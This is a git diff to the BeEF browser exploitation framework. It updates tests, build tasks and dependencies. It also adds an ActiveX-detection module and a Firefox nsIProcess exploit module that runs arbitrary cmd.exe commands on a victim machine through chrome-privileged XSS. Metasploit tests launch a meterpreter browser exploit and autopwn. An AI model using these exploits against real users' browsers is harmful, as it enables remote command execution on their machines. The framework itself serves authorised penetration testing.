diff --git a/Gemfile b/Gemfile index c250c114d..89ab1cf6d 100644 --- a/Gemfile +++ b/Gemfile @@ -27,6 +27,11 @@ gem "parseconfig" gem "erubis" gem "dm-migrations" +# Gems only required one windows +if RUBY_PLATFORM.downcase.include?("mswin") + gem "win32console" +end + # for the console shell extension gem "librex", "0.0.52" @@ -34,5 +39,11 @@ gem "librex", "0.0.52" gem "msfrpc-client" gem "curb" gem "test-unit" +gem "selenium" +gem "selenium-webdriver" +# nokogirl is needed by capybara which may require one of the below commands +# sudo apt-get install libxslt-dev libxml2-dev +# sudo port install libxml2 libxslt +gem "capybara" source "http://rubygems.org" diff --git a/Gemfile.lock b/Gemfile.lock index 8ae3fc5c4..4feedf234 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -3,6 +3,15 @@ GEM specs: addressable (2.2.6) ansi (1.4.1) + capybara (1.1.2) + mime-types (>= 1.16) + nokogiri (>= 1.3.3) + rack (>= 1.0.0) + rack-test (>= 0.5.4) + selenium-webdriver (~> 2.0) + xpath (~> 0.1.4) + childprocess (0.2.8) + ffi (~> 1.0.6) curb (0.7.16) daemons (1.1.5) data_objects (0.10.7) @@ -21,26 +30,58 @@ GEM data_objects (= 0.10.7) erubis (2.7.0) eventmachine (0.12.10) + ffi (1.0.11) + git (1.2.5) + jar_wrapper (0.1.2) + jeweler + jeweler + zip + zip + jeweler (1.6.4) + bundler (~> 1.0) + git (>= 1.2.5) + rake json (1.6.4) librex (0.0.52) + mime-types (1.17.2) msfrpc-client (1.0.1) librex (>= 0.0.32) msgpack (>= 0.4.5) msgpack (0.4.6) + multi_json (1.0.4) + nokogiri (1.5.0) parseconfig (0.5.2) rack (1.4.0) + rack-test (0.6.1) + rack (>= 1.0) + rake (0.9.2.2) + rubyzip (0.9.5) + selenium (0.2.2) + jar_wrapper + jar_wrapper + jeweler + jeweler + selenium-webdriver (2.16.0) + childprocess (>= 0.2.5) + ffi (~> 1.0.9) + multi_json (~> 1.0.4) + rubyzip term-ansicolor (1.0.7) test-unit (2.4.3) thin (1.3.1) daemons (>= 1.0.9) eventmachine (>= 0.12.6) rack (>= 1.0.0) + xpath (0.1.4) + nokogiri (~> 1.3) + zip (2.0.2) PLATFORMS ruby DEPENDENCIES ansi + capybara curb data_objects dm-core @@ -51,6 +92,8 @@ DEPENDENCIES librex (= 0.0.52) msfrpc-client parseconfig + selenium + selenium-webdriver term-ansicolor test-unit thin diff --git a/Rakefile b/Rakefile new file mode 100644 index 000000000..f78292680 --- /dev/null +++ b/Rakefile @@ -0,0 +1,137 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +task :default => ["quick"] + +desc "Run quick tests" +task :quick do + Rake::Task['unit'].invoke # run unit tests +end + +desc "Run all tests" +task :all do + Rake::Task['integration'].invoke # run integration tests + Rake::Task['unit'].invoke # run unit tests + Rake::Task['msf'].invoke # run msf tests +end + +desc "Run automated tests (for Jenkins)" +task :automated do + Rake::Task['xserver_start'].invoke + Rake::Task['all'].invoke + Rake::Task['xserver_stop'].invoke +end + +desc "Run integration unit tests" +task :integration => ["install"] do + Rake::Task['beef_start'].invoke + sh "cd test/integration;ruby -W0 ts_integration.rb" + Rake::Task['beef_stop'].invoke +end + +desc "Run integration unit tests" +task :unit => ["install"] do + sh "cd test/unit;ruby -W0 ts_unit.rb" +end + +desc "Run MSF unit tests" +task :msf => ["install", "msf_install"] do + Rake::Task['msf_update'].invoke + Rake::Task['msf_start'].invoke + sh "cd test/thirdparty/msf/unit/;ruby -W0 ts_metasploit.rb" + Rake::Task['msf_stop'].invoke +end + +task :install do + sh "bundle install > /dev/null" +end + +################################ +# X11 set up + +@xserver_process_id = nil; + +task :xserver_start do + printf "Starting X11 Server (wait 10 seconds)..." + @xserver_process_id = IO.popen("/usr/bin/Xvfb :0 -screen 0 1024x768x24 2> /dev/null", "w+") + delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05] + delays.each do |i| # delay for 10 seconds + printf '.' + sleep (i) # increase the . display rate + end + puts '.' +end + +task :xserver_stop do + puts "\nShutting down X11 Server...\n" + sh "ps -ef|grep Xvfb|grep -v grep|awk '{print $2}'|xargs kill" +end + +################################ +# BeEF environment set up + +@beef_process_id = nil; + +task :beef_start => 'beef' do + printf "Starting BeEF (wait 10 seconds)..." + @beef_process_id = IO.popen("ruby ./beef -x 2> /dev/null", "w+") + delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05] + delays.each do |i| # delay for 10 seconds + printf '.' + sleep (i) + end + puts '.' +end + +task :beef_stop do + puts "\nShutting down BeEF...\n" + sh "ps -ef|grep beef|grep -v grep|awk '{print $2}'|xargs kill" +end + +################################ +# MSF environment set up + +@msf_process_id = nil; + +task :msf_start => '/tmp/msf-test/msfconsole' do + printf "Starting MSF (wait 45 seconds)..." + @msf_process_id = IO.popen("/tmp/msf-test/msfconsole -r test/thirdparty/msf/unit/BeEF.rc 2> /dev/null", "w+") + delays = [10, 7, 6, 5, 4, 3, 2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05] + delays.each do |i| # delay for 45 seconds + printf '.' + sleep (i) # increase the . display rate + end + puts '.' +end + +task :msf_stop do + puts "\nShutting down MSF...\n" + @msf_process_id.puts "quit" +end + +task :msf_install => '/tmp/msf-test/msfconsole' do + # Handled by the 'test/msf-test/msfconsole' task. +end + +task :msf_update => '/tmp/msf-test/msfconsole' do + sh "cd /tmp/msf-test;git pull" +end + +file '/tmp/msf-test/msfconsole' do + puts "Installing MSF" + sh "cd test;git clone https://github.com/rapid7/metasploit-framework.git /tmp/msf-test" +end + diff --git a/beef b/beef index 5221018fa..7167d29e5 100755 --- a/beef +++ b/beef @@ -1,4 +1,4 @@ -#!/usr/bin/env ruby +#!/usr/bin/env ruby -W0 # # Copyright 2012 Wade Alcorn wade@bindshell.net diff --git a/core/main/server.rb b/core/main/server.rb index 8f4b81046..e47eb1fd1 100644 --- a/core/main/server.rb +++ b/core/main/server.rb @@ -89,26 +89,35 @@ module BeEF @rack_app = Rack::URLMap.new(@mounts) if not @http_server - + # Set the logging level of Thin to match the config Thin::Logging.silent = true if @configuration.get('beef.http.debug') == true Thin::Logging.silent = false Thin::Logging.debug = true end - + # Create the BeEF http server @http_server = Thin::Server.new( - @configuration.get('beef.http.host'), - @configuration.get('beef.http.port'), - @rack_app) + @configuration.get('beef.http.host'), + @configuration.get('beef.http.port'), + @rack_app) end end # Starts the BeEF http server def start - # starts the web server - @http_server.start + begin + @http_server.start # starts the web server + rescue RuntimeError => e + if e.message =~ /no acceptor/ # the port is in use + print_error "Another process is already listening on port #{@configuration.get('beef.http.port')}." + print_error "Is BeEF already running? Exiting..." + exit 127 + else + raise + end + end end end diff --git a/extensions/console/banners.rb b/extensions/console/banners.rb index 9886fe97e..038eb7b52 100644 --- a/extensions/console/banners.rb +++ b/extensions/console/banners.rb @@ -44,7 +44,7 @@ module Banners data = "Version #{version}\n" data += "Website http://beefproject.com\n" data += "Run 'beef -h' for basic help.\n" - data += "Run 'git pull https://github.com/beefproject/beef.git master' to update to the latest revision." + data += "Run 'git pull' to update to the latest revision." print_more data end diff --git a/extensions/console/commandline.rb b/extensions/console/commandline.rb index 8932bdf32..3c27e814c 100644 --- a/extensions/console/commandline.rb +++ b/extensions/console/commandline.rb @@ -14,43 +14,48 @@ # limitations under the License. # module BeEF -module Extension -module Console - # - # This module parses the command line argument when running beef. - # - module CommandLine - - @options = Hash.new - @options[:verbose] = false - @options[:resetdb] = false - - @already_parsed = false - - # - # Parses the command line arguments of the console. - # It also populates the 'options' hash. - # - def self.parse - return @options if @already_parsed - - optparse = OptionParser.new do |opts| - opts.on('-x', '--reset', 'Reset the database') do - @options[:resetdb] = true - end - - opts.on('-v', '--verbose', 'Display debug information') do - @options[:verbose] = true + module Extension + module Console + # + # This module parses the command line argument when running beef. + # + module CommandLine + + @options = Hash.new + @options[:verbose] = false + @options[:resetdb] = false + + @already_parsed = false + + # + # Parses the command line arguments of the console. + # It also populates the 'options' hash. + # + def self.parse + return @options if @already_parsed + + begin + optparse = OptionParser.new do |opts| + opts.on('-x', '--reset', 'Reset the database') do + @options[:resetdb] = true + end + + opts.on('-v', '--verbose', 'Display debug information') do + @options[:verbose] = true + end + end + + optparse.parse! + @already_parsed = true + @options + rescue OptionParser::InvalidOption => e + puts "Invalid command line option provided. Please run beef --help" + exit 1 + end end + end - - optparse.parse! - @already_parsed = true - @options + end - end - -end -end end \ No newline at end of file diff --git a/modules/browser/detect_unsafe_activex/command.js b/modules/browser/detect_unsafe_activex/command.js new file mode 100644 index 000000000..b83317dec --- /dev/null +++ b/modules/browser/detect_unsafe_activex/command.js @@ -0,0 +1,39 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var unsafe = true; + var result = ""; + var test; + + try { + test = new ActiveXObject("WbemScripting.SWbemLocator"); + } catch (e) { + unsafe = false; + } + + test = null; + + if (unsafe) { + result = "Browser is configured for unsafe ActiveX"; + } else { + result = "Browser is NOT configured for unsafe ActiveX"; + } + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "unsafe_activex="+result); + +}); + diff --git a/modules/browser/detect_unsafe_activex/config.yaml b/modules/browser/detect_unsafe_activex/config.yaml new file mode 100644 index 000000000..6cb65983d --- /dev/null +++ b/modules/browser/detect_unsafe_activex/config.yaml @@ -0,0 +1,27 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + detect_unsafe_activex: + enable: true + category: "Browser" + name: "Detect Unsafe ActiveX" + description: "This module will check if IE has been insecurely configured. It will test if the option \"Initialize and script ActiveX controls not marked as safe for scripting\" is enabled.

The setting can be found in: Tools Menu -> Internet Options -> Security -> Custom level -> \"Initialize and script ActiveX controls not marked as safe for scripting\"" + authors: ["wade", "bcoles"] + target: + user_notify: ["IE"] + not_working: ["All"] + diff --git a/modules/browser/detect_unsafe_activex/module.rb b/modules/browser/detect_unsafe_activex/module.rb new file mode 100644 index 000000000..9f7947d56 --- /dev/null +++ b/modules/browser/detect_unsafe_activex/module.rb @@ -0,0 +1,24 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Detect_unsafe_activex < BeEF::Core::Command + + def post_execute + content = {} + content['unsafe_activex'] = @datastore['unsafe_activex'] + save content + end + +end diff --git a/modules/exploits/mozilla_nsiprocess_interface/command.js b/modules/exploits/mozilla_nsiprocess_interface/command.js new file mode 100644 index 000000000..758a5dea5 --- /dev/null +++ b/modules/exploits/mozilla_nsiprocess_interface/command.js @@ -0,0 +1,36 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var result = "command sent"; + + try { + var command_str = "<%= command_str.gsub!(/"/, '\\"') %>"; + var getWorkingDir= Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("Home",Components.interfaces.nsIFile); + var lFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile); + var lPath = "C:\\WINDOWS\\system32\\cmd.exe"; // maybe "%WINDIR%\\system32\\cmd.exe" would work? + lFile.initWithPath(lPath); + var process = Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); + process.init(lFile); + process.run(false,['/c', command_str],2); + } catch (e) { + result = "an unexpected error occured"; + } + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+result); + +}); + diff --git a/modules/exploits/mozilla_nsiprocess_interface/config.yaml b/modules/exploits/mozilla_nsiprocess_interface/config.yaml new file mode 100644 index 000000000..7e1b71cd2 --- /dev/null +++ b/modules/exploits/mozilla_nsiprocess_interface/config.yaml @@ -0,0 +1,31 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + mozilla_nsiprocess_interface: + enable: false + category: "Exploits" + name: "Mozilla nsIProcess XPCOM Interface (Windows)" + description: "The nsIProcess XPCOM interface represents an executable process. JavaScript code with chrome privileges can use the nsIProcess interface to launch executable files. In this module, nsIProcess is combined with the Windows command prompt cmd.exe

Any XSS injection in a chrome privileged zone (e.g. typically in Firefox extensions) allows this module to execute arbitrary commands on the victim machine." + authors: ["wade", "bcoles", "roberto.suggi@security-assessment.com", "nick.freeman@security-assessment.com"] + target: + working: + FF: + min_ver: 1 + # It's actually 3.5 but min_ver only supports integers + max_ver: 3 + not_working: ["All"] + diff --git a/modules/exploits/mozilla_nsiprocess_interface/module.rb b/modules/exploits/mozilla_nsiprocess_interface/module.rb new file mode 100644 index 000000000..d69389b9f --- /dev/null +++ b/modules/exploits/mozilla_nsiprocess_interface/module.rb @@ -0,0 +1,32 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# This module is a port of the same module from BeEF-0.4.0.0 +# It has not been tested +class Mozilla_nsiprocess_interface < BeEF::Core::Command + + def self.options + return [ + {'name' => 'ports', 'ui_label' => 'Windows Command', 'value' => 'ping localhost'} + ] + end + + def post_execute + content = {} + content['result'] = @datastore['result'] + save content + end + +end diff --git a/rakefile b/rakefile deleted file mode 100644 index fcc516752..000000000 --- a/rakefile +++ /dev/null @@ -1,68 +0,0 @@ -# -# Copyright 2012 Wade Alcorn wade@bindshell.net -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# - -@msf_process_id = nil; - -desc "Run quick unit tests" -task :quick_unit_tests do - sh "cd test/unit/;ruby ts_beef.rb no_msf" -end - -desc "Run all unit tests" -task :all_unit_tests => ["install", "msf_install"] do - Rake::Task['msf_update'].invoke - Rake::Task['msf_start'].invoke - sh "cd test/unit/;ruby ts_beef.rb" - Rake::Task['msf_stop'].invoke -end - -task :install do - sh "bundle install" -end - -task :no_msf_tests do - sh "cd test/unit/;ruby ts_beef.rb no_msf" -end - -task :msf_start => 'test/msf-test/msfconsole' do - printf "Starting MSF (wait 30 seconds)..." - @msf_process_id = IO.popen("test/msf-test/msfconsole -r test/unit/BeEF.rc 2> /dev/null", "w+") - (1..7).each do |i| # delay for 30 seconds - printf '.' - sleep (8-i) # increase the . display rate - end - puts '.' -end - -task :msf_stop do - puts "\nShutting down MSF...\n" - @msf_process_id.puts "quit" -end - -task :msf_install => 'test/msf-test/msfconsole' do - # Handled by the 'test/msf-test/msfconsole' task. -end - -task :msf_update => 'test/msf-test/msfconsole' do - sh "cd test/msf-test;git pull" -end - -file 'test/msf-test/msfconsole' do - puts "Installing MSF" - sh "cd test;git clone https://github.com/rapid7/metasploit-framework.git msf-test" -end - -task :default => ["all_unit_tests"] diff --git a/test/common/ts_common.rb b/test/common/ts_common.rb new file mode 100644 index 000000000..25ebc2b03 --- /dev/null +++ b/test/common/ts_common.rb @@ -0,0 +1,31 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +# @note Version check to ensure BeEF is running Ruby 1.9 > +if RUBY_VERSION < '1.9' + puts "\n" + puts "Ruby version " + RUBY_VERSION + " is no longer supported. Please upgrade 1.9 or later." + puts "\n" + exit +end + +begin + require 'test/unit/ui/console/testrunner' +rescue LoadError + puts "The following instruction failed: require 'test/unit/ui/console/testrunner'" + puts "Please run: sudo gem install test-unit-full" + exit +end diff --git a/test/integration/check_environment.rb b/test/integration/check_environment.rb new file mode 100644 index 000000000..3594ba117 --- /dev/null +++ b/test/integration/check_environment.rb @@ -0,0 +1,10 @@ +require 'test/unit' + +class TC_CheckEnvironment < Test::Unit::TestCase + + def test_check_env + # Add environment checks here + + end + +end \ No newline at end of file diff --git a/test/integration/tc_login.rb b/test/integration/tc_login.rb new file mode 100644 index 000000000..696d94133 --- /dev/null +++ b/test/integration/tc_login.rb @@ -0,0 +1,38 @@ +require 'test/unit' + +BEEF_TEST_DIR = "/tmp/beef-test/" + +class TC_login < Test::Unit::TestCase + + def save_screenshot(session) + Dir.mkdir(BEEF_TEST_DIR) if not File.directory?(BEEF_TEST_DIR) + session.driver.browser.save_screenshot(BEEF_TEST_DIR + Time.now.strftime("%Y-%m-%d--%H-%M-%S-%N") + ".png") + end + + def test_log_in + session = Capybara::Session.new(:selenium) + session.visit('http://localhost:3000/ui/panel') + save_screenshot(session) + session.has_content?('BeEF Authentication') + session.fill_in 'user', :with => 'beef' + session.fill_in 'pass', :with => 'beef' + save_screenshot(session) + session.click_button('Login') + session.has_content?('logout') + save_screenshot(session) + + session + end + + def test_log_out + session = test_log_in + session.has_content?('logout') + session.click_link('Logout') + save_screenshot(session) + session.has_content?('BeEF Authentication') + save_screenshot(session) + + session + end + +end \ No newline at end of file diff --git a/test/integration/ts_integration.rb b/test/integration/ts_integration.rb new file mode 100644 index 000000000..b23d5d5fb --- /dev/null +++ b/test/integration/ts_integration.rb @@ -0,0 +1,41 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +# Common lib for BeEF tests +require '../common/ts_common' + +require 'capybara' +Capybara.run_server = false # we need to run our own BeEF server + +require 'selenium/webdriver' +require "selenium" + +require './check_environment' # Basic log in and log out tests +require './tc_login' # Basic log in and log out tests + +class TS_BeefIntegrationTests + def self.suite + + suite = Test::Unit::TestSuite.new(name="BeEF Integration Test Suite") + suite << TC_CheckEnvironment.suite + suite << TC_login.suite + + return suite + end +end + +Test::Unit::UI::Console::TestRunner.run(TS_BeefIntegrationTests) + diff --git a/test/unit/BeEF.rc b/test/thirdparty/msf/unit/BeEF.rc similarity index 100% rename from test/unit/BeEF.rc rename to test/thirdparty/msf/unit/BeEF.rc diff --git a/test/thirdparty/msf/unit/check_environment.rb b/test/thirdparty/msf/unit/check_environment.rb new file mode 100644 index 000000000..3594ba117 --- /dev/null +++ b/test/thirdparty/msf/unit/check_environment.rb @@ -0,0 +1,10 @@ +require 'test/unit' + +class TC_CheckEnvironment < Test::Unit::TestCase + + def test_check_env + # Add environment checks here + + end + +end \ No newline at end of file diff --git a/test/unit/extensions/tc_metasploit.rb b/test/thirdparty/msf/unit/tc_metasploit.rb similarity index 81% rename from test/unit/extensions/tc_metasploit.rb rename to test/thirdparty/msf/unit/tc_metasploit.rb index f0478f35b..3f625ca9b 100644 --- a/test/unit/extensions/tc_metasploit.rb +++ b/test/thirdparty/msf/unit/tc_metasploit.rb @@ -19,8 +19,13 @@ require 'pp' class TC_Metasploit < Test::Unit::TestCase def setup - $root_dir="../../" - $:.unshift File.join( %w{ ../../ } ) + $root_dir="../../../../" + $:.unshift File.join( %w{ ../../../../ } ) + require 'core/loader' + end + + def teardown + $root_dir = nil end # @@ -42,12 +47,12 @@ class TC_Metasploit < Test::Unit::TestCase # Create an api instance def new_api - load_config - require 'extensions/metasploit/extension.rb' - @api = BeEF::Extension::Metasploit::RpcClient.instance - @api.unit_test_init() + load_config + require 'extensions/metasploit/extension.rb' + @api = BeEF::Extension::Metasploit::RpcClient.instance + @api.unit_test_init() end - + # # Verify that the config file has required information # @@ -74,7 +79,7 @@ class TC_Metasploit < Test::Unit::TestCase # Verify that the login is working # def test_login - new_api + new_api assert(@api.login) end @@ -83,13 +88,13 @@ class TC_Metasploit < Test::Unit::TestCase @api.login assert(@api.call('core.version')) end - + def test_browser_exploits new_api @api.login exploits = nil assert_nothing_raised do - exploits = @api.browser_exploits() + exploits = @api.browser_exploits() end assert(exploits.length > 5) end @@ -99,17 +104,17 @@ class TC_Metasploit < Test::Unit::TestCase @api.login info = nil assert_nothing_raised do - info = @api.get_exploit_info('windows/dcerpc/ms03_026_dcom') + info = @api.get_exploit_info('windows/dcerpc/ms03_026_dcom') end assert( info['name'].nil? != true) end - + def test_get_options new_api @api.login info = nil assert_nothing_raised do - info = @api.get_options('windows/dcerpc/ms03_026_dcom') + info = @api.get_options('windows/dcerpc/ms03_026_dcom') end assert( info['RHOST'].nil? != true) end @@ -119,7 +124,7 @@ class TC_Metasploit < Test::Unit::TestCase @api.login payloads = nil assert_nothing_raised do - payloads = @api.payloads + payloads = @api.payloads end assert( payloads.length > 5 ) end @@ -130,7 +135,7 @@ class TC_Metasploit < Test::Unit::TestCase opts = { 'PAYLOAD' => 'windows/meterpreter/bind_tcp', 'URIPATH' => '/test1','SRVPORT' => 8080} ret = nil assert_nothing_raised do - ret = @api.launch_exploit('windows/browser/adobe_utilprintf',opts) + ret = @api.launch_exploit('windows/browser/adobe_utilprintf',opts) end assert(ret['job_id'] != nil ) end @@ -140,7 +145,7 @@ class TC_Metasploit < Test::Unit::TestCase @api.login ret = nil assert_nothing_raised do - ret = @api.launch_autopwn + ret = @api.launch_autopwn end assert(ret['job_id'] != nil ) end diff --git a/test/thirdparty/msf/unit/ts_metasploit.rb b/test/thirdparty/msf/unit/ts_metasploit.rb new file mode 100644 index 000000000..84b20ff3e --- /dev/null +++ b/test/thirdparty/msf/unit/ts_metasploit.rb @@ -0,0 +1,43 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +# Common lib for BeEF tests +require '../../../common/ts_common' + +begin + require 'msfrpc-client' +rescue LoadError + puts "The following instruction failed: require 'msfrpc-client'" + puts "Please run: sudo gem install msfrpc-client" + exit +end + +require './check_environment' +require './tc_metasploit' + +class TS_BeefTests + def self.suite + + suite = Test::Unit::TestSuite.new(name="BeEF Metasploit Test Suite") + suite << TC_CheckEnvironment.suite + suite << TC_Metasploit.suite + + return suite + end +end + +Test::Unit::UI::Console::TestRunner.run(TS_BeefTests) + diff --git a/test/unit/core/main/network_stack/handlers/dynamicreconstruction.rb b/test/unit/core/main/network_stack/handlers/dynamicreconstruction.rb index 280554cf9..7c42b1e29 100644 --- a/test/unit/core/main/network_stack/handlers/dynamicreconstruction.rb +++ b/test/unit/core/main/network_stack/handlers/dynamicreconstruction.rb @@ -18,15 +18,15 @@ require 'rubygems' require 'curb' class TC_DynamicReconstruction < Test::Unit::TestCase - + @@port = 20000 + rand(10000) - + def setup $root_dir="../../" $:.unshift File.join( %w{ ../../ } ) require 'core/loader' require 'core/main/network_stack/handlers/dynamicreconstruction.rb' - + @@port += 1 # cycle through ports because the tcp teardown process is too slow @port = @@port @@ -45,9 +45,10 @@ class TC_DynamicReconstruction < Test::Unit::TestCase @server.start! end end - + def teardown Process.kill("INT",@pid) + $root_dir = nil end # the server doesn't offer a mutex or callback @@ -66,46 +67,46 @@ class TC_DynamicReconstruction < Test::Unit::TestCase def test_delete wait_for_server response = Curl::Easy.http_delete("http://127.0.0.1:" + @port.to_s + "/test") - assert_equal 404, response.response_code + assert_equal 404, response.response_code end - + def test_put wait_for_server response = Curl::Easy.http_put("http://127.0.0.1:" + @port.to_s + "/test", nil) - assert_equal 404, response.response_code + assert_equal 404, response.response_code end - + def test_head wait_for_server response = Curl::Easy.http_head("http://127.0.0.1:" + @port.to_s + "/test") - assert_equal 404, response.response_code + assert_equal 404, response.response_code end - + def test_no_params wait_for_server response = Curl::Easy.http_get("http://127.0.0.1:" + @port.to_s + "/test") assert_equal 404, response.response_code end - + def test_zero_values wait_for_server response = Curl::Easy.http_get("http://127.0.0.1:" + @port.to_s + "/test?bh=0&sid=0&pid=0&pc=0&d=0") assert_equal 200, response.response_code assert_equal "", response.body_str - end - + end + def test_one_values wait_for_server response = Curl::Easy.http_get("http://127.0.0.1:" + @port.to_s + "/test?bh=1&sid=1&pid=1&pc=1&d=1") assert_equal 200, response.response_code assert_equal "", response.body_str - end - + end + def test_neg_one_values wait_for_server response = Curl::Easy.http_get("http://127.0.0.1:" + @port.to_s + "/test?bh=-1&sid=-1&pid=-1&pc=-1&d=-1") assert_equal 200, response.response_code assert_equal "", response.body_str - end - + end + end diff --git a/test/unit/core/tc_api.rb b/test/unit/core/tc_api.rb index 325f63a2b..e77d40e9a 100644 --- a/test/unit/core/tc_api.rb +++ b/test/unit/core/tc_api.rb @@ -18,10 +18,14 @@ require 'test/unit' class TC_Api < Test::Unit::TestCase def setup - $root_dir="../../" + $root_dir = "../../" $:.unshift File.join( %w{ ../../ } ) end + def teardown + $root_dir = nil + end + # # Test the api is functional # diff --git a/test/unit/core/tc_core.rb b/test/unit/core/tc_core.rb index dd5b9e6ba..a41910286 100644 --- a/test/unit/core/tc_core.rb +++ b/test/unit/core/tc_core.rb @@ -18,10 +18,14 @@ require 'test/unit' class TC_Core < Test::Unit::TestCase def setup - $root_dir="../../" + $root_dir = "../../" $:.unshift File.join( %w{ ../../ } ) end + def teardown + $root_dir = nil + end + # # Test the core is functional # @@ -32,3 +36,4 @@ class TC_Core < Test::Unit::TestCase end end + diff --git a/test/unit/core/tc_loader.rb b/test/unit/core/tc_loader.rb index 6aef5ad3f..7d19f40d0 100644 --- a/test/unit/core/tc_loader.rb +++ b/test/unit/core/tc_loader.rb @@ -18,10 +18,14 @@ require 'test/unit' class TC_Loader < Test::Unit::TestCase def setup - $root_dir="../../" + $root_dir = "../../" $:.unshift File.join( %w{ ../../ } ) end + def teardown + $root_dir = nil + end + # # Test the loader is functional # diff --git a/test/unit/ts_beef.rb b/test/unit/ts_unit.rb similarity index 51% rename from test/unit/ts_beef.rb rename to test/unit/ts_unit.rb index 90d2fcac8..fe3f4851f 100644 --- a/test/unit/ts_beef.rb +++ b/test/unit/ts_unit.rb @@ -14,41 +14,9 @@ # limitations under the License. # -# @note Version check to ensure BeEF is running Ruby 1.9 > -if RUBY_VERSION < '1.9' - puts "\n" - puts "Ruby version " + RUBY_VERSION + " is no longer supported. Please upgrade 1.9 or later." - puts "\n" - exit -end +# Common lib for BeEF tests +require 